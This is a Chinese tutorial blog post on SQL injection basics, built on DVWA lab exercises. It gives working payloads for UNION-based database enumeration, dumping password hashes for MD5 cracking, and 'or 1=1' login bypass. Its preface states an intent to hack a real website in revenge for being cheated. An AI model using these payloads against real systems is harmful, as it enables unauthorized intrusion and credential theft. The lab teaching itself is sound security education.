拼搏百天我要日站——SQL注入基础原理

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介: 拼搏百天我要日站——SQL注入基础原理

2021-5-5

我被一个小破站骗钱了,不为别的,拼搏百天我要想办法把它日穿。

image.png

以下内容来源于:实验楼

SQL注入

 

SQL 注入攻击通过构建特殊的输入作为参数传入 Web 应用程序,而这些输入大都是 SQL 语法里的一些组合,通过执行 SQL  语句进而执行攻击者所要的操作,本章课程通过 LAMP 搭建 S 注入环境,两个实验分别介绍 SQL 注入爆破数据库、SQL  注入绕过验证两个知识点。

SQL 注入漏洞的原理

SQL 注入攻击是通过将恶意的 SQL 查询或添加语句插入到应用的输入参数中,再在后台 SQL 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。

Web 程序三层架构

三层架构(3-tier architecture) 通常意义上就是将整个业务应用划分为:

界面层(User Interface layer)

业务逻辑层(Business Logic Layer)

数据访问层(Data access layer)。

区分层次的目的即为了“高内聚低耦合”的思想。在软件体系架构设计中,分层式结构是最常见,也是最重要的一种结构被应用于众多类型的软件开发。

由数据库驱动的 Web 应用程序依从三层架构的思想也分为了三层:

  • 表示层
  • 业务逻辑层(又称领域层)
  • 数据访问层(又称存储层)

image.png在上图中,用户访问实验楼主页进行了如下过程:

在 Web 浏览器中输入 www.shiyanlou.com 连接到实验楼服务器。

业务逻辑层的 Web 服务器从本地存储中加载 index.php 脚本并解析。

脚本连接位于数据访问层的 DBMS(数据库管理系统),并执行 SQL 语句。

数据访问层的数据库管理系统返回 SQL 语句执行结果给 Web 服务器。

业务逻辑层的 Web 服务器将 Web 页面封装成 HTML 格式发送给表示层的 Web 浏览器。

表示层的 Web 浏览器解析 HTML 文件,将内容展示给用户。

在三层架构中,所有通信都必须要经过中间层,简单地说,三层架构是一种线性关系。

SQL 注入漏洞

SQL注入产生原因及威胁

当我们访问动态网页时, Web 服务器会向数据访问层发起 SQL 查询请求,如果权限验证通过就会执行 SQL 语句。

这种网站内部直接发送的 SQL 请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 SQL 语句,如果用户输入的数据被构造成恶意 SQL 代码,Web 应用又未对动态构造的 SQL 语句使用的参数进行审查,则会带来意想不到的危险。

SQL 注入带来的威胁主要有如下几点

  • 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
  • 绕过认证,列如绕过验证登录网站后台。
  • 注入可以借助数据库的存储过程进行提权等操作。

SQL 注入猜解数据库

image.png

先输入 1 ,查看回显 (URL 中 ID=1,说明 php 页面通过 get 方法传递参数):

image.png

那实际上后台执行了什么样的 SQL 语句呢?

image.png

可以看到,实际执行的 SQL 语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1';

我们是通过控制参数 ID 的值来返回我们需要的信息。

如果我们不按常理出牌,比如在输入框中输入 1’ order by 1#,实际执行的 SQL 语句就会变成:

SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;(按照MySQL语法,#后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误)

这条语句的意思是查询 users 表中 user_id 为 1 的数据并按第一字段排行。

输入 1’ order by 1# 和 1’ order by 2# 时都返回正常:

image.png

当输入 1’ order by 3# 时,返回错误:

image.png

由此可知,users 表中只有两个字段,数据为两列。

union select 联合查询

union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,而我们之前已经知道了主查询列数为 2,接下来就好办了。

输入 1' union select database(),user()# 进行查询 :

  • database()将会返回当前网站所使用的数据库名字.
  • user()将会返回执行当前查询的用户名.
    实际执行的 SQL 语句是 :
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;

image.png

通过上图返回信息,我们成功获取到:

  • 当前网站使用数据库为 dvwa
  • 当前执行查询用户名为 root@localhost
    同理我们再输入 1' union select version(),@@version_compile_os#进行查询:
  • version() 获取当前数据库版本.
  • @@version_compile_os 获取当前操作系统。
    实际执行的 SQL 语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

image.png

通过上图返回信息,我们又成功获取到:

当前数据库版本为 : 10.4.17-MariaDB-1:10.4.17+maria~xenial

当前操作系统为 : debian-linux-gnu

接下来我们尝试获取 dvwa 数据库中的表名。

information_schema 是 mySQL  自带的一张表,这张数据表保存了 MySQL 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为  tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS  中的存储的表名和表名所在的数据库。

我们输入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#进行查询。

实际执行的 SQL 语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;

image.png

通过上图返回信息,我们再获取到:

dvwa 数据库有两个数据表,分别是 guestbook 和 users

接下来尝试获取重量级的用户名、密码

由经验我们可以大胆猜测 users 表的字段为 user 和 password ,所以输入:1' union select user,password from users#进行查询。

实际执行的 SQL 语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

image.png

可以看到成功爆出用户名、密码,密码采用 md5 进行加密,可以到www.cmd5.com进行解密。

SQL 漏洞绕过登录验证

初始化数据:

image.png

进入首页发现这是一个普通的登录页面,只要输入正确的用户名和密码就能登录成功。 我们先尝试随意输入用户名 123 和密码 123 登录:

image.png从错误页面中我们无法获取到任何信息。

看看后台代码如何做验证的:

image.png当查询到数据表中存在同时满足 username 和 password 字段时,会返回登录成功。

按照第一个实验的思路,我们尝试在用户名中输入 123’ or 1=1 #, 密码同样输入 123’ or 1=1 # :

image.png

为什么能够成功登录呢?

因为实际执行的语句是:

select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'

按照 MySQL 语法,# 后面的内容会被忽略,所以以上语句等同于(实际上密码框里不输入任何东西也一样):

select * from users where username='123' or 1=1

由于判断语句 or 1=1 恒成立,所以结果当然返回真,成功登录。

我们再尝试不使用 # 屏蔽单引号,采用手动闭合的方式:

我们尝试在用户名中输入 123' or '1'='1, 密码同样输入 123' or '1'='1 (不能少了单引号,否则会有语法错误):

实际执行的 SQL 语句是:

1. select * from users where username='123' or '1'='1' and password='123' or '1'='1`
2.

两个 or 语句使 and 前后两个判断永远恒等于真,所以能够成功登录。

判断 SQL 注入点

通常情况下,可能存在 SQL 注入漏洞的 URL 是类似这种形式 :http://xxx.xxx.xxx/admin.php?id=XX

对 SQL 注入的判断,主要有两个方面:

  • 判断该带参数的 URL 是否存在 SQL 注入?
  • 如果存在 SQL 注入,那么属于哪种 SQL 注入?

可能存在 SQL 注入攻击的 ASP/PHP/JSP  动态网页中,一个动态网页中可能只有一个参数,有时可能有多个参数。有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在  SQL 注入。如果程序员没有足够的安全意识,没有进行必要的字符过滤,存在 SQL 注入的可能性就非常大。

判断是否存在 SQL 注入漏洞

最为经典的单引号判断法:

在参数后面加上单引号,比如:

1. http://xxx/abc.php?id=1'
2.

如果页面返回错误,则存在 SQL 注入。

原因是无论字符型还是整型都会因为单引号个数不匹配而报错。(如果未报错,不代表不存在 SQL 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入。)

判断 SQL 注入漏洞的类型

通常 SQL 注入漏洞分为 2 种类型:

  • 数字型
  • 字符型

其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所以就会产生注入点为何种类型。

image.png

数字型判断

当输入的参数 x 为整型时,通常 abc.php 中 SQL 语句类型大致如下:

select * from <表名> where id = x

这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

  • URL 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
  • URL 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 SQL 注入为数字型注入。

原因如下:

当输入 and 1=1 时,后台执行 SQL 语句:

select * from <表名> where id = x and 1=1

没有语法错误且逻辑判断为正确,所以返回正常。

当输入 and 1=2 时,后台执行 SQL 语句:

select * from <表名> where id = x and 1=2

没有语法错误但是逻辑判断为假,所以返回错误。

我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:

1. select * from <表名> where id = 'x and 1=1'
2. select * from <表名> where id = 'x and 1=2'

查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。

字符型判断

当输入的参数 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:

select * from <表名> where id = 'x'

这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断:

  • URL 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。
  • URL 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 SQL 注入为字符型注入。
    原因如下:

当输入 and ‘1’='1时,后台执行 SQL 语句:

select * from <表名> where id = 'x' and '1'='1'

语法正确,逻辑判断正确,所以返回正确。

当输入 and ‘1’='2时,后台执行 SQL 语句:

select * from <表名> where id = 'x' and '1'='2'

语法正确,但逻辑判断错误,所以返回错误。


相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
1月前
|
SQL 关系型数据库 数据库
SQL数据库:核心原理与应用实践
随着信息技术的飞速发展,数据库管理系统已成为各类组织和企业中不可或缺的核心组件。在众多数据库管理系统中,SQL(结构化查询语言)数据库以其强大的数据管理能力和灵活性,广泛应用于各类业务场景。本文将深入探讨SQL数据库的基本原理、核心特性以及实际应用。一、SQL数据库概述SQL数据库是一种关系型数据库
49 5
|
1月前
|
SQL 监控 安全
SQL注入公鸡分类及原理
SQL注入公鸡分类及原理
|
1月前
|
SQL 关系型数据库 MySQL
sql注入原理与实战(三)数据库操作
sql注入原理与实战(三)数据库操作
sql注入原理与实战(三)数据库操作
|
2月前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
128 5
|
2月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
67 5
|
2月前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
115 1
|
2月前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
47 1
|
2月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁:SQL注入、XSS及CSRF,并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线,助您打造更安全的应用。安全是一场持久战,需不断改进优化。
46 3
|
1月前
|
SQL 分布式计算 大数据
大数据-97 Spark 集群 SparkSQL 原理详细解析 Broadcast Shuffle SQL解析过程(一)
大数据-97 Spark 集群 SparkSQL 原理详细解析 Broadcast Shuffle SQL解析过程(一)
42 0
|
1月前
|
SQL 分布式计算 算法
大数据-97 Spark 集群 SparkSQL 原理详细解析 Broadcast Shuffle SQL解析过程(二)
大数据-97 Spark 集群 SparkSQL 原理详细解析 Broadcast Shuffle SQL解析过程(二)
78 0